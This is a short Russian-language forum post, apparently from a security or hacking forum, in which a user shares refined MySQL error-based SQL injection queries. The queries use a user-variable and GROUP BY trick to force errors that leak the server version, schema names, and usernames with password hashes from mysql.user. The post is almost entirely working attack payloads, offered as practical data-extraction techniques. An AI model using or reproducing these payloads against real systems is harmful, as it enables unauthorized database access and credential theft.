Показать сообщение отдельно
Старый 26.03.2011, 13:52   #17
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
А теперь cделаем свой rand
Более короткую запись для version() придумать, наверное, уже не получится, красиво смотрится.
Для показа информации из таблиц, запрос несколько расплывается, но остается читабельным.
Код:
select @a:=1 union select max(@a:=(@a+1)%2) from information_schema.tables 
 group by (select concat(user,0x3a,password,0x0,@a+1) from mysql.user limit 0,1);
или, если в таблице user больше одной записи
Код:
select @a:=1 union select sum(0) from mysql.user 
 group by (select concat(user,0x3a,password,0x0,@a:=(@a+1)%2) from user);
=============
UPD, можно чуть короче
Код:
select min(@a:=1)from information_schema.tables 
 group by concat(version(),@a:=(@a+1)%2);
Много в ошибке не выведешь, но иногда можно сгруппировать
Код:
select min(@a:=1) from information_schema.schemata 
 group by (select concat(group_concat(SCHEMA_NAME),@a:=(@a+1)%2) from schemata);
Экстремальный случай, схема не доступна, сбрутили таблицу и поля, но в таблице одна запись:
Код:
select min(@a:=1)from (select 1 union select 2)k
 group by (select concat(user,password,0x0,@a:=(@a+1)%2) from user);

Последний раз редактировалось nikp; 26.03.2011 в 17:29..
nikp вне форума   Ответить с цитированием